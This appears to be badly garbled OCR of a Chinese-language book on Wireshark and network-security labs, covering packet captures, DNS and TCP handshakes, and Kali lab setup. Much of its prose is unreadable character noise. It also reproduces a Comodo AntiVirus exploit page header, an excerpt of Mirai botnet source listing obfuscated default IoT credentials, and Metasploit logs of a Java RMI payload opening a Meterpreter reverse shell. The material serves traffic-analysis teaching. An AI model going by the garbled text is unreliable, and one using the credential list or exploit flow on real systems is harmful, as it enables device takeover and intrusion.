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Chapter 1 ® Wireshark f&47
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HEBER

5 1 M R BB 2 R B LTS B R - I B i TR B R R
EEH o BIA0ARIE IP ~ HIYIP ~ YR B ERIREHE 2 » Wireshark 7] DUR AN 14
BRE O R AFEE S - ESEAN RS R E - LSRR

i E AT DUR R B B B e - BB 3 ¢ - B % M AL
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M “Ethemet o X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AR @ I BREB Qe«»SFE S aqal

W[ Apply & display fiter ... <Ctr-/> 3 -] epression...  +
No. Time Source Destination Protocol  Length  Info A

1 ©.000000 108.160.172.193 192.168.2.14 TLSv1.2 1@82 Application Data I—‘

2 9.050482 192.168.2.14 108.1608.172.193 TCcP 54 58472 + 443 [ACK] Seg=1 Ack=1829 Win=254 Len=0

3 9.059665 192.168.2.14 81.161.59.93 TCP 66 58473 + 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK.

a4 0.201638 81.161.59.93 192.168.2.14 TP 60 88 » 58473 [SYN, ACK] Seq=8 Ack=1 Win=29200 Len=0 MSS=1468

5 0.201744 192.168.2.14 81.161.59.93 TCP 54 58473 + 80 [ACK] Seq=1 Ack=1 Win=64240 Len-0

6 0.202445 192.168.2.14 81.161.59.93 HTTP 121 GET /poll?push_id=3756f963-2304-4b6d-a93f-77db84aBbfff HTT..
-lo 7  0.411006 192.168.2.14 47.55.55.55 DNS 70 Standard query @x6585 A zillow.com

8.435455 192.168.2.14 142.166.166.166 DNS 78 Standard query 8x6585 A zillow.com E

J— 9 9.485175 47.55.55.55 19 4. ¥ oo 172 Standard query response @x6585 A zillow.com A 192.211.12.2.. =~

10 ©.485177 142.166.166.166 19 :jalg QE 172 Standard query response @x6585 A zillow.com A 192.211.12.2..

11 ©.485636 192.168.2.14 192.211.12.20 TCP 66 58474 + 80 [SYN] Seq=0 Win=8192 Len=0 MS5=1460 W5=256 SACK..

12 ©.485723 192.168.2.14 192.211.12.20 TP 66 58475 + 8@ [SYN] Seq=0 Win=8192 Len=@ MSS5=1460 WS=256 SACK..

13  8.576423 192.211.12.20 192.168.2.14 TCP 62 80 + 58474 [SYN, ACK] Seq=0 Ack=1 Win=4380 Len=0 MSS=1460 .. v

> Frame 7: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface @

> Ethernet II, Src: Micro-St_99:33:8b (d8:cb:8a:99:33:8b), Dst: Actionte 9f:87:48 (a8:39:44:9f:87:48) (D
> Internet Protocol Version 4, Src: 192.168.2.14, Dst: 47.55.55.55

> User Datagram Protocol, Src Port: 58351 (58351), Dst Port: 53 (53) (J)

> Domain Name System (query) @ ;? E HH gE IE

0010 0
0028 l“ EY,

HefTlE

...5.8 )Ze.....
9030 00 90 00 0O 0O B0 86 7a 69 6¢ 6¢ 6f 77 03 63 6f  ....... z illow.co
0040 6d @0 00 01 00 o1 We....
@ 7 Internet Protocol Version 4 (ip), 20 bytes || Packets: 1753 - Displayed: 1753 (100.0%) || Profile: Default

1-2 : Wireshark WEHEE
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M Ethemet o X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dm i@ ORB QeEFEEEaqal

W] Apply a display filter ... <Ciri-/> 3 -] Bxpression...  +
Ho. Time Source Destination Protocol  Length  Info A
1 ©.000000 108.160.172.193 192.168.2.14 TLSv1.2 1682  Application Data N
2 0.050402 192.168.2.14 108.160.172.193 TCP 54 58472 + 443 [ACK] Seg=1 Ack=1029 Win=254 Len=0
3 @.059665 192.168.2.14 81.161.59.93 TCP 66 58473 » 80 [SYN] Seq=0 Win=8192 Len=0 MS5=1460 WS=256 SACK.
4 0.201638 81.161.59.93 192.168.2.14 TP 60 80 » 58473 [SYN, ACK] Seq-@ Ack=1 Win=29200 Len=0 MSS=1468
5  0.201744 192.168.2.14 81.161.59.93 TCP 54 58473 » 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
6 0.202445 192.168.2.14 81.161.59.93 HTTP 121 GET /poll?push_id=3750F963-2304-4b6d-a93f-77db84asbFff HTT..
9.435455 192.168.2.14 142.166.166.166 DNS 70 Standard query @x6585 A zillow.com
L 9  0.485175 47.55.55.55 192.168.2.14 DNS 172 Standard query response @x6585 A zillow.com A 192.211.12.2. | E
10 ©.485177 142.166.166.166 192.168.2.14 DNS 172 Standard query response @x6585 A zillow.com A 192.211.12.2..
11 0.485636 192.168.2.14 192.211.12.20 TP 66 58474 > 80 [SYN] Seq=0 Win=8102 Len=8 MSS=1460 WS=256 SACK.
12 0.485723 192.168.2.14 192.211.12.20 TP 66 58475 + 80 [SYN] Seq=0 Win=8192 Len=B MSS=146@ WS=256 SACK..
13  8.576423 192.211.12.20 192.168.2.14 TCP 62 80 » 58474 [SYN, ACK] Seq=0 Ack=1 Win=4380 Len=0 M55=1460 .. v
> Frame 7: 7@ bytes on wire (560 bits), 70 bytes captured (560 bits) on interface @
> II, Src: Mi _99:33:8b (d8:cb 33:8b), Dst: Actionte_9f:87:40 (aB:39:44:9f:87:40)

> Internet Protocol Version 4, Src: 192.168.2.14, Dst: 47.55.55.55
> User Datagram Protocol, Src Port: 58351 (58351), Dst Port: 53 (53)
v Domain Name System (query)

[Response In: 9]

Transaction ID: @x6585
> Flags: @x@100 Standard query
cwstion: 1 BRIk
Answer RRs: @
Authority RRs: @
Additional RRs: @
¥ Queries
» zillow.com: type A, class IN

0000 a8 39 44 9f 87 40 d8 cb B8a 99 33 8b 88 00 45 00 .9D..8.. ..3...E.

0610 00 38 @b a9 00 00 80 11 ©0 60 @ a8 82 @e 2f 37 .B...... ...... /7

0020 37 37 e3 ef 00 35 80 24 29 Sa 65 85 01 60 00 @1  77...5.3 )Ze.....

ee3e [T o0 00 00 00 @6 7a 69 6c 6c 6f 77 @3 63 6Ff ... z illow.co

0040 sd 60 00 01 00 81 m....

@ 7 Humber of answers in packet (dns.count.answers), 2 bytes || Packets: 1753 * Displayed: 1753 (100.0%) || Profile: Default

1-3  REENH AR

EREIBERORE  HABAT 71 f= (data frame )+ 5
AFBRH ¢ (packet) MBIHEGTER? 5B E 05l &
(ERESHER - B MAC i) BER - EEASER M= BES3
B (48RS - (B P (i) @R NS REAH ¢ o

HOAGEERRGR - BANEUEHIGEEA T AFREIEE - €%
MRERERIREA > 51 () ZPRRYREIERN - ] DUBRER 5 0 5155 8 AU R B 2K
W/ EBAEHIR A ’H&’\H¥%?IETBFI%5£§ FHELETHHIRBA N A & - BTEEEL
far 7 (B 1-3) 0 &R alfEd ¢ P % Al AW BUA 92 Bl R H 202
BE > 5% B H AR i B R B AR A 1 -

HE 4t e 8 B AR —EHOET  ZHEENAERE BT A&
(fB#te Pl ¥ R4t e =~ 2% ) DAE 1-2 F 1-3 90 &8 HR5E 7 19
B £ P e R BERAERGLE BRI 7 EETE -



EN

BREBGRESRE IP R E - ERYFEEE LS 1P B A AR IE o i 2 57 ik A
HEOLHE - BRI A IR E AT & B | true ;-

EEBE  WREHENBPER—XU L » EFREXNZAFHEE
B2 FIU0 eth.addr SHEERZRRA B B c WRBRAFRENDIEEE
WMAYBENIT R LHEASEM (negation) FENEZWL - HI
40 "eth.addr ! = 00:01:02:03:04:05, Z=REEEF true ©

FHEEECERE A FI T o 1P (2 akEL S B ip.addr SELTHLER - DAER A B A
EIELL TP WY& - ARG SR I 88 " google.com ; [L#L - Wireshark
RURPERNE - AR ENRZIP itk - RFEAFRVBEEERA G 25
JRBN - e EE S 7E A AU B iy ) ¢ S B [ Y 5 Y A2 BOGEE 1T Ll - AT DAE
http://www.wireshark.org/docs/dfref/ i) Display Filter Reference ( #7~
EEaR2E ) WEEETHBE L EAR - FR LW DifEHs P owE
#] Wireshark $fEM A ETTRAYINEE - SUEEE N TAREM R /28 1%
FIBE R - IREHGEUR 3 ¢ P o % FTEHEE @R WAL -

1-4 BUR{E 4t e F ¥ 7EE—HHE - #He P R BEELTH - T
fE IP WA - EFEEE T ATRIEREER  Version (ip.version), 1 byte ; ©

M *Realtek PCle GBE Family Controller: Ethernet - O x

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AR 29 I ARG Qe-EFL . ([Eaqal

W[ Apply 2 display filter ... <Qirl-/> 3 -] expression...  +
No.  Time Source Destination Protocol  Length  Info -

1. 4.358684 192.168.2.14 119.95.62.161 UDP 1480 42501 » 39413 Len=1438

1. 4.358745 192.168.2.14 119.95.62.161 UDP 1480 42501 -+ 39413 Len=1438

1. 4.358795 192.168.2.14 119.95.62.161  UDP 1480 42501 » 39413 Len=1438

1. 4.358844 192.168.2.y 119.95.62.161 UDP 1480 42501 + 39413 Len=1438 b
< >
> Frame 1833: 1480 bytes on wire #11848 bits), 1488 bytes captured (11840 bits) on interface @ ~
> Ethernet II, Src: Micro-St_99/33:8b (d8:cb:Ba:99:33:8b), Dst: Actionte 9f:87:40 (a8:39:44:9f:87:40)
v Internet Protocol Version Src: 192.168.2.14, Dst: 119.95.62.161

8100 .... = Version: 4

> Differentiated Sprvices Field: @x0@ (DSCP: (S8, ECN: Not-ECT)
Total Length: 1466
Identification: fexsbbf (23487) -
@008 a8 39 44 9f §7 46 d8 cb 8a 99 33 8b O
9016 05 ba 5b bf
@620 3e al a6 05 P9 f5 05 a6 7e 6e 01 80 9 16
@030 b8 36 27 8446 01 0@ 8@ 3 50 e7 6a bb 71 85 bl

... @101 = Heazr Length: 20 bytes

23
48

@046 14 o bl 41fad c6 16 9 ba 6e 65 49 7b 2a 12 a8
0050 38 d3 88 21 66 ea d6 ad e2 26 8c 9c e d9 49 69
@060 af f4 36 7§ d7 70 36 ¢8 Sf bb 80 80 58 24 f2 35
@076 33 94 79 ap 12 b4 36 76 57 71 3c 97 4e aa e3 d3
0086 8d @1 d4 B 44 76 ©f a3 89 79 25 14 @c 1b 1d 99
8090  8e 82 3 9d c2 ce el ab ea 9a 9c 24 ea 7e 6c

"
@ 7 Version (ip.version), 1 byte Packets: 2310  Displayed: 2310 (100.0%) || Profile: Default

1-4 : FEARRET B AR AL E 7




WA4SP ERIRIE

FA BERIRIEAY(E A& IRER

R —%ELZHENE  WEEH root 3538 ARMBYEE » REFERZH
HEIEEDARIRSREE - T TIEHAPEIS -

TELEEEBRE AT F550EIT " wasp-lab  BRSE - HETEHEESE » FEH
RS b i B A R A 5 AT DL B A b i 29 HY ARG ¢ BEEE Kali /2 B AEY
Applications ( FLIE 2-44 ) » BCE /I LAY R B B8 m B R o #& Ui &5 1Y
THEX LIEH#E 2 /root °

FEF& i & 1Y root fE/ il A Nar< - Wif4 T Enter # (NG HFFNITS
ISOR

useradd -m w4sp-lab -s /bin/bash -G sudo -U

T ERWIRRREE - AN Imi A N Ya < o d#Z T Enter
it

passwd w4sp-lab

A SR TR B A HT 2 B R RERE S - 2] 2-41 P e

T Sl 3 @O @

File Bl Wiew Seamsh Torminsl Helep

root@kaliwdsp:~# useradd -m wdsp-lab -s /bin/bash -G sudo -U
root@kaliwdsp:~# passwd wdsp-lab e A il

Enter new UNIX password: *————___-?E%EEE”AT—%\E’%
Retype new UNIX passwnrd:'————________ o e
passwd: password updated successfully }E%EE@A&EEE@E%
root@kaliwdsp:~# []

2-41 : EXTHIRSE wasp-lab M & BT

BUECHA TRRIIRER - TFEIEHRH - FLL " wisp-lab , BOEFEA -

Nl ERRIBONASHGUIIRS - DRESBZEL wasp-lab SO E
BN BRI TEMHER N -

55
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Chapter 3 m WME RV EHE IR 50

R HEGEE R i amIIAN SR E - (HFEEE e M E N E
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WR{ERFRIE
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Z2M

HRNERETE > AURAGEZAR M SretE R EE N BN ER N E
o BR Dok g & 3 en AP A FUERISEE - 2N 2 R AREN
%%&f ° JNE 3-3 IR - LR EHA DA -

‘ EXPLOIT_Comodo_AntiVirus_2.0_ExecuteStr()_Remote_Command_Execution_Exploit_EvilFingers.pcap - a X

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
48201 FREQesEFESE[EQaqlr

W[ Apply a display filter ... <Ctrl-/> 3 -] Expression...  +
No. Time Destination Source Length Info Protocol [
6 0.189092 192.168.0.15 192.168.0.22 54 385680 [ACK] Seq=228 Ack=258 Win=65278 Len=0 TCP
7 0.189413 192.168.0.22  192.168.0.15 513 HTTP/1.1 200 OK (text/html) HTTP |
8 0.407834 192.168.0.15 192.168.0.22 54 385680 [ACK] Seq=228 Ack=717 Win=64819 Len=0 TCP =
v
< >
> Ethernet II, Src: Dell_19:77:7a (00:1d:09:19:77:7a), Dst: D-LinkCo_c2:8a:17 (00:1b:11:c2:8a:17) ~

> Internet Protocol Version 4, Src: 192.168.0.15, Dst: 192.168.0.22
> Transmission Control Protocol, Src Port: 80, Dst Port: 3856, Seq: 258, Ack: 228, Len: 459
> [2 Reassembled TCP Segments (716 bytes): #5(257), #7(459)]
>
v Line-based text data: text/html
<!--\r\n
Comodo AntiVirus 2.0 ExecuteStr() @day Remote Command Execution Exploit\r\n
Bug discovered by Krystian Kloskowski (h@7) <h@7@interia.pl>\r\n
Tested on:..\r\n
- Comodo AntiVirus Beta 2.6\r\n
- Microsoft Internet Explorer 6\r\n
Just for fun ;) \r\n
-->\r\n
\r\n
<html>\r\n
<object id="obj" classid="clsid:309F674D-E4D3-46BD-B9E2-ED7DFD7FD176"></object>\r\n
\r\n ad
01de 7@ 6¢c 6f 72 65 72 20 36 0d 0a i- VENVERI LN plorer 6 .iEFi ~
[XCR6f 72 20 66 75 6e 20 20 3b 29 20 20 0d OajPl Pl 0 F=
0110 3e @d @a @d @a 3c 68 74 6d 6¢c 3e @d @a 3c 6f 62 >....<ht ml>..<ob
0200 6a 65 63 74 20 69 64 3d 22 6f 62 6a 22 20 63 6¢C ject id= "obj" cl

Frame (513 bytes)  Reassembled TCP (716 bytes)

O 7 Textitem (text), 20 bytes || Packets: 9 - Displayed: 9 (100.0%) - Load time: 0:0.0/| Profile: Default -

3-3 | BERENSEIEGF

"HBEE AR PR R E AT # e ASCII ~ FFARSKIREG H Y
Il EEEAR B RY R R0 TP @R - 55 SR Al AR RO (B 5% - AT
DA BETIAREI R T B o

ErERfnEL

ERFIRmE RN > SRS EARBATRRE T 2 EEE - BEETET
fE - HREARESR > H ABEDRE - EF N RNHESALER - A
WEFFREERE - FEATA  RERZERE - 1205 !

73



DT BN E

SEEUE LR A AR 2
B {EEATAENE 2R » TCP &4 785 - UDP HINE -
B UDP SGesE R ~ HESE - i A fEFEE 2T EE M -

B IR E A E R A RO T R % - (H UDP 19 F EaXIURE » 1M
TCP ¥R BN - & HX e A shaR s

% M 22 — i =]
FEEIESRERLZE - TCP EAEIEE - FRN=m (=ZHE) ZEUE
3-7 FiR e
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
ARZ® 1 NREBQesEFEIT EQaqQATE
A Apply a display filter ... <Ctrl-/

No. Time Destination Source Length Info Protocol
= 0.000000 212.58.226.142 172.16.16.128 66 2826480 [SYN] Seq=0 Win=8192 Len=@ MSS=1460.. TCP

2 9.132627 172.16.16.128 212.58.226.142 66 80+2826 [SYN, ACK] Seq=@ Ack=1 Win=5840 Len.. TCP
=3 9.132768 212.58.226.142 172.16.16.128 54 2826+80 [ACK] Seg=1 Ack=1 Win=16872 Len=0 TER

3-7 1 TCP I=AIRIE

TCP B —f#HEEE M AT E - SefCH =128 (3-way handshake ) ZILRFT
AR EEE © #H — SYN £ 4 » IRE]—{E SYN/ACK HJ[EIJE » AR1RH
e —H ACK WEsE - REMERSE R =1A2HR - A GRS L T EE — (5
ZHERE - HE—R - BrEEEE 3-1 F=[R5ZEE 2

TCP JERERE A 5E » Hefiitad - O EX - FlE EHRIAHERF B AE Y
ey s UDP WU Tl RE5 )y ok - s " A o AR B
e e AR A o5 (A & 5845 TCP 8 UDP .2 —ff A -

& EFTHE I /2 DNS » BRI/ TCP & UDP » DNS R {4 e F1 7]
SEMEEESK - BRI AR € - & 1T DNS &3 (R ZFE IR ES A7 A]
B 2 AEMEBELER G 2 ) - AIERLL UDP JOEH - 75 &7 AR 152 0l E
MEE—R - WELERTERELHNERAEME=ZMAE ; (52 DNS &R
RN BT HETE A RERE(EHE - BB T R SRR 2 TCP AYfE(E @ ERL2HERL

81
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Chapter4 m FEEY A8 S8

Wex

4-11 T ERERFEENES

SRR EE R G R A AT iy = GRAEAR B R - et th g4 —2e8E - %
BEESERT BRI 2 TR FEIEE BN T - SFFFRETE
RFTIREHL - T SR AR o B h s B~ B T i B RO Rl A I 17 72 - 7E8D
B A AR B B - DR R R S B B 2 EARER 0 - T R RE G e T
g o (R SRR GHS SRR T - P R — A R R -

sofE  RAMROABHERERBELOHEMRBEER - WRER
THEZERERRE © BN S —IBKERE -

ANME 4-12 Ay - AGERIR 1 AYRIHE W R SEEE R 2 7 3 - 35 B A U
Apkfe e (STP) WIS AR 1T R ML - AT EEAL B X - M
ANE R AT REE AR ER B

WEE

4-12 I EERH LRENPEERRE
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Chapter 4 m #EEVAY S 3060

WAE - E IR E 192.168.0.0 F#8 1 ping #A8F » B UHZEEE
o ATDAE AR S A @A B T 18 e B RE A R -

EER RS

FHE R MG ERRE e T B EE RS (R A2 R L
MR ) ZFH - AR Ed e 73 % EE O RS EAH - R RIEH
H13% %% Colorize Conversation (B¥fEEF ) BIT] - 41[E 4-33 Fins »
AT DAH FHBE o 1 S — e R T

M “My renamed PCle GBE interface: Ethernet = ] X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Am " ©® FREC Qe =EF S
A [ Apply a display filter ... <Curl-/ 3 -] Bpression...  +
No. Time Destination Source Length Info Protocol A
a b 0.000000 192.168.2.240 192.168.2.230 455  40289-+55522 Len=413 uoP —
2 0.000004 192.168.2.240 192.168.2.230 459 40289455522 Len=417 uop =
3 0.000305 192.168.2.240 192.168.2.230 491  40289-+55522 Len=449 uop
4 0.000308 192.168.2.240 192.168.2.230 521  46808+55522 Len=479 uoP
5 0.000309 192.168.2.240 192.168.2.230 519 4743155522 Len=477 uopP
6 0.416835 F | HTTP/1.1 200 OK (application/json) HTTP
r M rk Packet Ctri+M p—
L7 e.a17540 (. :;"f:/s:"mp S GET /poll2push_id=3756F963-2304-4b6d-a93f-7.. HTTP
+
I 8 0.417706 ¢ 9 9! GET /poll?push_id=3750f963-2304-4b6d-a03f-7.. HTTP  memm
Set/Unset Time Reference  Ctrl+T
Time Shift... Ctri+Shift+T
11 0.767669 :  Packet Comment... Ctri+Alt+C M-SEARCH * HTTP/1.1
12 0.768041 | EotResoved Name M-SEARCH * HTTP/1.1 SSDP e
13 1.857787 b 1061+8082 Len=461 uop
14 2.853271 | Apply as Filter . 55523+32414 Len=21 uoP
ar A Arsenn - Prepare a Filter » L R E VP S ) [y ¥
< >
- C ion Filter L | =—= - -
> Frame 6: 333 bytes on.mre Colorize Conversation 5 ENIP 10 R
> Ethernet II, Src: Actionte a:99:33:8b)
= SCTP * ENIP Explicit »
> Internet Protocol Version ollow 5 N
> Transmission Control Proto Ethemet |I| Color 1
> Copy » 1Pv4 * [ color2
3 - - . 1Pv6 ¢
> JavaScript Object Notation DR P : A . m Color 3
Decode As... UDP " @ color4
Show Packet in New Window P IE Color 5
N-CBA » IE Color6
PN-10 AR ’ oK
PN-I0 AR (with data) » | LINCOIORHE
e [8] Color 8
E] Color9
d8 cb 8a 99 33 8b a8 39 44 Of 87 40 08 00 45 00  ....3..9 D..@..E. g color 10 ) ~
@1 3f 37 19 40 0@ 30 86 c2 09 51 al 3b 5d c0 a8 .?7.@.0. ..Q.;].. New Coloring Rule...
02 f0 00 50 da 10 bb c1 e@ 78 2f 5d e2 8f 50 18 swiPoses Xf]suPs
90 e5 ef 69 00 00 48 54 54 50 2f 31 2e 31 20 32 ...i..HT TP/1.1 2
30 30 20 4f 4b od @a 43 6f 6e 74 65 6e 74 2d 54 00 OK..C ontent-T
79 70 65 3a 20 61 70 70 6¢ 69 63 61 74 69 6f 6e  ype: app lication
2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 /json; c harset=u
74 66 2d 38 0d @a 43 6f 6e 74 65 6e 74 2d 4c 65 tf-8..Co ntent-Le
6e 67 74 68 3a 20 31 36 0od @a 41 63 63 65 73 73 ngth: 16 ..Access
2d 43 6f 6e 74 72 6f 6c 2d 41 6¢c 6¢c 6f 77 2d 4f  -Control -Allow-0
72 69 67 69 6e 3a 20 2a @d @a 41 63 63 65 73 73 rigin: * ..Access
2d 43 6f 6e 74 72 6f 6c 2d 41 6¢c 6¢c 6f 77 2d 4d -Control -Allow-M
2 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 ethods: GET,POST v
@ 7 wireshark_{CE2 24AA-426E-8451-E0B) ) 71649_216064 Packets: 46 * Displayed: 46 (100.0%) Profile: Default

4-33: E6E




WA - [HETAR

RS S ERAEDERE - BEAEBGSTHANENBZRREREHTE®E
IP A3k | B3 E50% - Dyn iSELLEHERIER " IFEBEIMEMINE -

REILEXBRARIN N - FENBEXRETEREISHEI Dos D BR
BERBIESH > MUAKERE ' ZABRIEEETAIRKH DNS DDoS INE
B? ., BEBBREMBERMF (DNS) J01a #1512 78 AR AT AR o #523X 09 IP {1
it —RBERERILEEEE[ER - MRS SR DNS BMIE S » MAREREN
LR ETENRIERMSEME - IRKE - RRASFIEBES °

WEEROEIVRIBE Mirai © —Z&H Linux RIBNTBENE - SRSRR08E
NA— @RS SLBREST  RRKEBEREZEH DD (C&C) BIHE
SHEFIZNEEFE S - 5120 DNS FIAREE - RIBERME NIRRT SRR HEY
7332 T Mirai FRIFBRARNBIRBEEEFNRE - #NBERE  SIIFEEM -
2016 £ 10 B 21 BOYNEB X 2R EMBBIMA R MEBZIE - —HRHBERE
MRS MELS 3 WEHE (10T ) HABETS "FAERNE . TRE—LIEER
KOV 1B EE) DoS » REBEBLYVIMEMNGATS ©

BREVRIF Y GitHub V1S © HI3E Mirai iERBIEBIR Mt —B#E (F)
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EREREN  NERSEHRBRBIBFRETIZINP (hardcode ) » AREEER BT EEE
LA E M o

// Set up passwords

add_auth_entry("\x58\x4D\x4D\X56", "\XxSA\x41\x11\x17\x13\x13", 10);
add_auth_entry("\x58\x4D\x4D\X56", "\x54\x4B\X58\x5A\x54", 9);
add_auth_entry("\x58\x4D\x4D\X56", "\x43\x46\x4F\x4B\x4C", 8);
add_auth_entry("\x43\x46\x4F\x4B\X4C", "\x43\x46\x4F\x4B\X4C", 7);
add_auth_entry("\x58\x4D\x4D\X56", "\x1A\x1A\X1A\x1A\x1A\x1A", 6);
add_auth_entry("\x5@\x4D\x4D\X56' SA\KAF\X4A\X46\X4B\X52\x41", 5);
add_auth_entry("\x58\x4D\x4D\X56", "\x46\x47\x44\x43\x57\x4E\X56", 5);
add_auth_entry("\x50\x4D\x4D\X56", "\x48\x57\x43\xdC\x56\x47\x41\X4A", 5);
add_auth_entry("\x5@\x4D\x4D\x56", "\x13\x1@\x11\x16\x17\x14", 5);
add_auth_entry("\x58\x4D\x4D\x56", "\x17\x16\x11\x18\x13", 5);

add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x5@\x56", 5);
add_auth_entry("\x58\xdD\x4D\X56", "", 4); root (none
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); admin
add_auth_entry("\x50\x4D\x4D\X56", "\X5@\x4D\x4D\X56", 4); root
add_auth_entry("\x58\x4D\x4D\X56", "\x13\x1@\x11\x16\x17", 4); root 12345
add_auth_entry("\X57\x51\x47\x58", “\Xx57\xS1\x47\x58", 3); / user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); admin none
add_auth_entry("\x58\x4D\x4D\X56", "\x52\x43\x51\x51", 3); root s
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); admin  admin1234
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Chapter 6 m 22 Wireshark

BUE AR BRET BER I HTTP Ji & - KR T 60 F i 1 8080 » AL FF AN tep.
R EEFTRR YT

port == 8080 E@?&Eﬂ—?i@ﬁiﬁ [EZE R AEREH A
=+ BARCEHE A TCP Stream - A& 6-13 7 -

Follow TCP Stream

= E

-Stream Content:

GET /A3GyXqDfP25/fewbPDz.jar HTTP/1.1

Host: 192.168.56.106:8080

User-Agent: gnu-classpath/0.95 (libgcj/4.2.4 (Ubuntu 4.2.4-lubuntu3))
Connection: keep-alive

HTTP/1.1 200 OK

Content-Type: application/java-archive
Connection: Keep-Alive

Pragma: no-cache

Server: Apache

Content-Length: 6987

PR RS e metasploit.dat..H,..5.....
5. PR 3 = metasplmt/PK

...... metasplult/Payload class.Y.|.

{UKmSV& ~Z.V[....nm..{3..n.P.

....... PREB @YF.B."a "‘Z.....E...2p "‘ i~

Ry E1 a0 ahis e als b et Yol x

Accept-Encoding: chunked;q=1.0, gzip;q=0.9, deflate;q=0.8, identity;q=0.6, *;q=0

Shol..00;d. L.

Waseas v..7..1.3e<..g.fn prialy s

Weonelern e s chq3 WG, ' . v.wO. ~.wr

\..ps)?... oEhin_noZnliie_aosan _Ebdln s (ehi)if L1
i\ [N kv..n.c.1 )
[Entire conversation (7371 bytes) $ ]
l Find H Save As “ Print IO AsCll O EBCDIC O HexDump O CArrays ® Raw

l Filter Out This Stream ‘ [

Close

6-13 : Metasploit 89 HTTP JAR &EX}

A]PUE F| Metasploitable VM (52F % ) CAGHBEF AR I N #E JAR
FEE - B EE T HEFEm A shell ( HAYIRC 4444 » Z 3 Metasploit fiE
ZEHEA T2 Java F22UHS » 2[R 6-14 % Follow TCP Stream jii 5 #5 £ 5 5

52 Hex Dump Z4AHE » fid shell EAGHEHAZ » RIDUEEFIY getuid

2 [EERER R root ©




RIR A

[*] Local IP: http://127.0.0.1:8080/HyoL5LuwMTgNTAp

[*] Connected and sending request for
http://192.168.56.106:8080/HyoL5LuwMTgNTAp/x1Lv. jar

[*] 192.168.56.103 java_rmi_server - Replied to request for
payload JAR

[*] 192.168.56.103:60233 Request received for /INITIM...

[*] Meterpreter session 3 opened (192.168.56.106:4444 ->
192.168.56.103:60233) at 2014-11-13 20:02:11 -0600

[+] Target 192.168.56.103:1099 may be exploitable...

[*] Server stopped.

meterpreter >

WSEHE TCP Sl 5% metasploit © & # ] Wireshark HiA 2T ( ALIE
6-17 )«

~Stream Content

e Ty I T ey g e L e o 3 5 7 5 o B B Y O g A
.................................... J...F..TeaP....e....<S>0..-..ir!TxV.vm. T...%$...!]|
[ L A Qe) 7oy 0 ot s o ol e b oliele sa o0 a0 o000 2.0

2l o

..... oyl.0 US1.0...U....LA1!0...U....wzcilLvyxY -
. .NP1WB] rYBGDUGPpDGNNWVBY1U11.0. . .U. .. .alg47nww.net0.| Wireshark: Find t o | X
141029205631Z.

141129065631Z0_1.0...U....US1.0...U....S8Cl1.0...U....P Find text: metasploit‘

hvvzuhmefrl.o...U... .hfya.como..0

nPlNBJ rYBGDququNNNvBYlUl ika(ok

.......... Waga onlbe salloman o olbdoatadn Il e

L Ty

......... e i e T

oo Rl
..EQ.w{b..0X.e.W,....s.2Q..5c.!.E..S.:....{=-.F.c...1..f)]"&...s%e".x...4..

(xv...0*f..... Q.v...fo.

[ =G]q ........ 0..0...U....0.0...U...... F#..7....X.CL....1..0...U.%..0

............ (e oo IS VS« PR T SRS a5 m B | )

(eyl (s ol oo olVE ol¥l0 o oL R L wzc1LvnyQtwcCldBlGV_'|Sle#O'

alg47nw (fzf8a 0 coalrs
}.Bh.*H..Qj..

ah el o s s alila_a oV BT 6 a ol oo o s Jas sl e el s s ad bitrn ol e a dislitis nba o heananas

ed LT o EEL ST e shca aalbe et oans ESoimsaae slteneal ]
(a’LI =R N R [ W.e...l..0b. .. [o} v
[Entire conversation (18709 bytes) ¢ ]

[ Find ” Save As “ Print ]O ASCII

O EBCDIC O HexDump O CArrays @ Raw

Filter Out This Stream ] [ Close

6-17 : NEEHIRE
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